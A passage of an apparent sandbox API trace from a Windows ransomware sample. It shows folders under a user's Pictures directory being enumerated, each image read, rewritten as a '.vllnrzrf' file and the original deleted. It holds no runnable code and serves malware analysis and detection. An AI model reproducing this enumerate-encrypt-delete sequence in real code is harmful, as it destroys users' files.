GetFileSize (in: hFile=0x4f4, lpFileSizeHigh=0x1c08e308 | out: lpFileSizeHigh=0x1c08e308*=0x0) returned 0xa6f6 [0117.187] ReadFile (in: hFile=0x4f4, lpBuffer=0x22a69b8, nNumberOfBytesToRead=0xa6f6, lpNumberOfBytesRead=0x1c08e238, lpOverlapped=0x0 | out: lpBuffer=0x22a69b8*, lpNumberOfBytesRead=0x1c08e238*=0xa6f6, lpOverlapped=0x0) returned 1 [0117.188] CloseHandle (hObject=0x4f4) returned 1 [0117.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp.vllnrzrf", lpFilePart=0x0) returned 0x52 [0117.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e170) returned 1 [0117.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\l2h8fzj8j9.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f4 [0117.196] GetFileType (hFile=0x4f4) returned 0x1 [0117.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e0e0) returned 1 [0117.197] GetFileType (hFile=0x4f4) returned 0x1 [0117.197] WriteFile (in: hFile=0x4f4, lpBuffer=0x22e1e28*, nNumberOfBytesToWrite=0xa8f6, lpNumberOfBytesWritten=0x1c08e298, lpOverlapped=0x0 | out: lpBuffer=0x22e1e28*, lpNumberOfBytesWritten=0x1c08e298*=0xa8f6, lpOverlapped=0x0) returned 1 [0117.198] CloseHandle (hObject=0x4f4) returned 1 [0117.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", nBufferLength=0x105, lpBuffer=0x1c08dc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", lpFilePart=0x0) returned 0x49 [0117.200] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", nBufferLength=0x105, lpBuffer=0x1c08de30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp", lpFilePart=0x0) returned 0x49 [0117.200] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\O4DzL2UqV0oMYi\\tOfL\\L2h8fZJ8j9.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\o4dzl2uqv0omyi\\tofl\\l2h8fzj8j9.bmp")) returned 1 [0117.203] CoUninitialize () Thread: id = 97 os_tid = 0x8e4 [0117.207] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1c0ee120, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0117.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee580) returned 1 [0117.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", nBufferLength=0x105, lpBuffer=0x1c0ee070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU", lpFilePart=0x0) returned 0x32 [0117.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\", nBufferLength=0x105, lpBuffer=0x1c0ee010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\", lpFilePart=0x0) returned 0x33 [0117.207] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\*.*", lpFindFileData=0x1c0ee220 | out: lpFindFileData=0x1c0ee220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bee5d0, ftCreationTime.dwHighDateTime=0x1d5e69c, ftLastAccessTime.dwLowDateTime=0x33536310, ftLastAccessTime.dwHighDateTime=0x1d5e233, ftLastWriteTime.dwLowDateTime=0x33536310, ftLastWriteTime.dwHighDateTime=0x1d5e233, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0117.208] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ee270 | out: lpFindFileData=0x1c0ee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58bee5d0, ftCreationTime.dwHighDateTime=0x1d5e69c, ftLastAccessTime.dwLowDateTime=0x33536310, ftLastAccessTime.dwHighDateTime=0x1d5e233, ftLastWriteTime.dwLowDateTime=0x33536310, ftLastWriteTime.dwHighDateTime=0x1d5e233, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.208] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ee270 | out: lpFindFileData=0x1c0ee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ba5e0, ftCreationTime.dwHighDateTime=0x1d5df04, ftLastAccessTime.dwLowDateTime=0x645f0500, ftLastAccessTime.dwHighDateTime=0x1d5e3cc, ftLastWriteTime.dwLowDateTime=0x645f0500, ftLastWriteTime.dwHighDateTime=0x1d5e3cc, nFileSizeHigh=0x0, nFileSizeLow=0x147cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="dm4SELI8UX5CD.bmp", cAlternateFileName="DM4SEL~1.BMP")) returned 1 [0117.208] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ee270 | out: lpFindFileData=0x1c0ee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8949a0, ftCreationTime.dwHighDateTime=0x1d5d957, ftLastAccessTime.dwLowDateTime=0xca76dc50, ftLastAccessTime.dwHighDateTime=0x1d5e34a, ftLastWriteTime.dwLowDateTime=0xca76dc50, ftLastWriteTime.dwHighDateTime=0x1d5e34a, nFileSizeHigh=0x0, nFileSizeLow=0x1775f, dwReserved0=0x0, dwReserved1=0x0, cFileName="I2Yoz.bmp", cAlternateFileName="")) returned 1 [0117.208] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ee270 | out: lpFindFileData=0x1c0ee270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x121e2b10, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0x2a32c800, ftLastAccessTime.dwHighDateTime=0x1d5d8bc, ftLastWriteTime.dwLowDateTime=0x2a32c800, ftLastWriteTime.dwHighDateTime=0x1d5d8bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogUkzne", cAlternateFileName="")) returned 1 [0117.208] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ee270 | out: lpFindFileData=0x1c0ee270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf116990, ftCreationTime.dwHighDateTime=0x1d5e7f9, ftLastAccessTime.dwLowDateTime=0x33503a20, ftLastAccessTime.dwHighDateTime=0x1d5dab1, ftLastWriteTime.dwLowDateTime=0x33503a20, ftLastWriteTime.dwHighDateTime=0x1d5dab1, nFileSizeHigh=0x0, nFileSizeLow=0xea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="W9zfWuqQYMa.jpg", cAlternateFileName="W9ZFWU~1.JPG")) returned 1 [0117.209] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0ee270 | out: lpFindFileData=0x1c0ee270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0117.209] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0117.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee4d0) returned 1 [0117.209] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee490) returned 1 [0117.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", lpFilePart=0x0) returned 0x44 [0117.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", lpFilePart=0x0) returned 0x44 [0117.210] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", lpFilePart=0x0) returned 0x44 [0117.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee470) returned 1 [0117.210] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\dm4seli8ux5cd.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0117.210] GetFileType (hFile=0x4f0) returned 0x1 [0117.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee3e0) returned 1 [0117.210] GetFileType (hFile=0x4f0) returned 0x1 [0117.210] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x1c0ee608 | out: lpFileSizeHigh=0x1c0ee608*=0x0) returned 0x147cf [0117.210] ReadFile (in: hFile=0x4f0, lpBuffer=0x22ef1f8, nNumberOfBytesToRead=0x147cf, lpNumberOfBytesRead=0x1c0ee538, lpOverlapped=0x0 | out: lpBuffer=0x22ef1f8*, lpNumberOfBytesRead=0x1c0ee538*=0x147cf, lpOverlapped=0x0) returned 1 [0117.212] CloseHandle (hObject=0x4f0) returned 1 [0117.225] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp.vllnrzrf", lpFilePart=0x0) returned 0x4d [0117.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee470) returned 1 [0117.225] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\dm4seli8ux5cd.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0117.225] GetFileType (hFile=0x4f0) returned 0x1 [0117.225] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee3e0) returned 1 [0117.226] GetFileType (hFile=0x4f0) returned 0x1 [0117.226] WriteFile (in: hFile=0x4f0, lpBuffer=0x2360750*, nNumberOfBytesToWrite=0x149cf, lpNumberOfBytesWritten=0x1c0ee598, lpOverlapped=0x0 | out: lpBuffer=0x2360750*, lpNumberOfBytesWritten=0x1c0ee598*=0x149cf, lpOverlapped=0x0) returned 1 [0117.228] CloseHandle (hObject=0x4f0) returned 1 [0117.245] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", lpFilePart=0x0) returned 0x44 [0117.245] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", nBufferLength=0x105, lpBuffer=0x1c0ee130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp", lpFilePart=0x0) returned 0x44 [0117.245] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\dm4SELI8UX5CD.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\dm4seli8ux5cd.bmp")) returned 1 [0117.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", lpFilePart=0x0) returned 0x3c [0117.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", lpFilePart=0x0) returned 0x3c [0117.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", lpFilePart=0x0) returned 0x3c [0117.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee470) returned 1 [0117.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\i2yoz.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0117.248] GetFileType (hFile=0x4f0) returned 0x1 [0117.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee3e0) returned 1 [0117.249] GetFileType (hFile=0x4f0) returned 0x1 [0117.249] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x1c0ee608 | out: lpFileSizeHigh=0x1c0ee608*=0x0) returned 0x1775f [0117.249] ReadFile (in: hFile=0x4f0, lpBuffer=0x1246e908, nNumberOfBytesToRead=0x1775f, lpNumberOfBytesRead=0x1c0ee538, lpOverlapped=0x0 | out: lpBuffer=0x1246e908*, lpNumberOfBytesRead=0x1c0ee538*=0x1775f, lpOverlapped=0x0) returned 1 [0117.251] CloseHandle (hObject=0x4f0) returned 1 [0117.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp.vllnrzrf", lpFilePart=0x0) returned 0x45 [0117.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee470) returned 1 [0117.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\i2yoz.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0117.266] GetFileType (hFile=0x4f0) returned 0x1 [0117.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee3e0) returned 1 [0117.266] GetFileType (hFile=0x4f0) returned 0x1 [0117.266] WriteFile (in: hFile=0x4f0, lpBuffer=0x12556f18*, nNumberOfBytesToWrite=0x1795f, lpNumberOfBytesWritten=0x1c0ee598, lpOverlapped=0x0 | out: lpBuffer=0x12556f18*, lpNumberOfBytesWritten=0x1c0ee598*=0x1795f, lpOverlapped=0x0) returned 1 [0117.269] CloseHandle (hObject=0x4f0) returned 1 [0117.272] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", lpFilePart=0x0) returned 0x3c [0117.272] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", nBufferLength=0x105, lpBuffer=0x1c0ee130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp", lpFilePart=0x0) returned 0x3c [0117.272] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\I2Yoz.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\i2yoz.bmp")) returned 1 [0117.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", lpFilePart=0x0) returned 0x42 [0117.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", lpFilePart=0x0) returned 0x42 [0117.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", lpFilePart=0x0) returned 0x42 [0117.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee470) returned 1 [0117.276] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\w9zfwuqqyma.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0117.276] GetFileType (hFile=0x4f0) returned 0x1 [0117.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee3e0) returned 1 [0117.276] GetFileType (hFile=0x4f0) returned 0x1 [0117.276] GetFileSize (in: hFile=0x4f0, lpFileSizeHigh=0x1c0ee608 | out: lpFileSizeHigh=0x1c0ee608*=0x0) returned 0xea1f [0117.276] ReadFile (in: hFile=0x4f0, lpBuffer=0x239d4d8, nNumberOfBytesToRead=0xea1f, lpNumberOfBytesRead=0x1c0ee538, lpOverlapped=0x0 | out: lpBuffer=0x239d4d8*, lpNumberOfBytesRead=0x1c0ee538*=0xea1f, lpOverlapped=0x0) returned 1 [0117.277] CloseHandle (hObject=0x4f0) returned 1 [0117.315] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg.vllnrzrf", lpFilePart=0x0) returned 0x4b [0117.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0ee470) returned 1 [0117.315] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\w9zfwuqqyma.jpg.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4f0 [0117.316] GetFileType (hFile=0x4f0) returned 0x1 [0117.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ee3e0) returned 1 [0117.316] GetFileType (hFile=0x4f0) returned 0x1 [0117.316] WriteFile (in: hFile=0x4f0, lpBuffer=0x2218d28*, nNumberOfBytesToWrite=0xec1f, lpNumberOfBytesWritten=0x1c0ee598, lpOverlapped=0x0 | out: lpBuffer=0x2218d28*, lpNumberOfBytesWritten=0x1c0ee598*=0xec1f, lpOverlapped=0x0) returned 1 [0117.318] CloseHandle (hObject=0x4f0) returned 1 [0117.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", nBufferLength=0x105, lpBuffer=0x1c0edf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", lpFilePart=0x0) returned 0x42 [0117.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", nBufferLength=0x105, lpBuffer=0x1c0ee130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg", lpFilePart=0x0) returned 0x42 [0117.325] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\W9zfWuqQYMa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\vu8dvdzm7au\\w9zfwuqqyma.jpg")) returned 1 [0117.332] CoUninitialize () Thread: id = 98 os_tid = 0x904 [0117.337] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1cd2e080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0117.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e4e0) returned 1 [0117.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", nBufferLength=0x105, lpBuffer=0x1cd2dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne", lpFilePart=0x0) returned 0x3a [0117.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\", nBufferLength=0x105, lpBuffer=0x1cd2df70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\", lpFilePart=0x0) returned 0x3b [0117.338] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\VU8DvDzM7aU\\ogUkzne\\*.*", lpFindFileData=0x1cd2e180 | out: lpFindFileData=0x1cd2e180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x121e2b10, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0x2a32c800, ftLastAccessTime.dwHighDateTime=0x1d5d8bc, ftLastWriteTime.dwLowDateTime=0x2a32c800, ftLastWriteTime.dwHighDateTime=0x1d5d8bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0117.343] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e1d0 | out: lpFindFileData=0x1cd2e1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x121e2b10, ftCreationTime.dwHighDateTime=0x1d5e74e, ftLastAccessTime.dwLowDateTime=0xb5f051f0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb5f051f0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.343] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e1d0 | out: lpFindFileData=0x1cd2e1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb8520c0, ftCreationTime.dwHighDateTime=0x1d5dc33, ftLastAccessTime.dwLowDateTime=0x51b7e770, ftLastAccessTime.dwHighDateTime=0x1d5e2c1, ftLastWriteTime.dwLowDateTime=0x51b7e770, ftLastWriteTime.dwHighDateTime=0x1d5e2c1, nFileSizeHigh=0x0, nFileSizeLow=0xdbd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="7KY-6GxzT4E7TIrF78.bmp", cAlternateFileName="7KY-6G~1.BMP")) returned 1 [0117.343] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e1d0 | out: lpFindFileData=0x1cd2e1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x669d8790, ftCreationTime.dwHighDateTime=0x1d5e301, ftLastAccessTime.dwLowDateTime=0x6ec53670, ftLastAccessTime.dwHighDateTime=0x1d5df00, ftLastWriteTime.dwLowDateTime=0x6ec53670, 